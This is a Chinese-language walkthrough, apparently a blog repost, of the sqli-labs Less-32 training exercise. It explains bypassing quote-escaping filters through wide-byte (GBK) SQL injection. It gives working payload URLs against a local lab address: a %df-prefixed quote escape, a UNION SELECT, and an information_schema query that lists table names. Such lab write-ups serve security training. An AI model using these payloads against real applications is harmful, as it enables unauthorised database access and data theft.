1. 程式人生 > >【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型轉義了'/"字符的寬字節註入)

【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型轉義了'/"字符的寬字節註入)

成了 less sql ati mas nbsp ble sch com

技術分享圖片

轉義函數,針對以下字符,這樣就無法閉合引號,導致無法註入

‘  -->  \‘

"  -->  \"

\  -->  \\

技術分享圖片

但是,當MySQL的客戶端字符集為gbk時,就可能發生寬字節註入,參照 http://netsecurity.51cto.com/art/201404/435074.htm

%df‘  -->  %df\‘  %df%5c‘

這樣引號就被閉合了,至於%df%5c就成了漢字 運

技術分享圖片

成功閉合

http://192.168.136.128/sqli-labs-master/Less-32/?id=1%df‘

技術分享圖片

http://192.168.136.128/sqli-labs-master/Less-32/?id=0%df‘ union select 1,2,3%23

技術分享圖片

表名

http://192.168.136.128/sqli-labs-master/Less-32/?id=0%df‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23

技術分享圖片

【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型轉義了'/"字符的寬字節註入)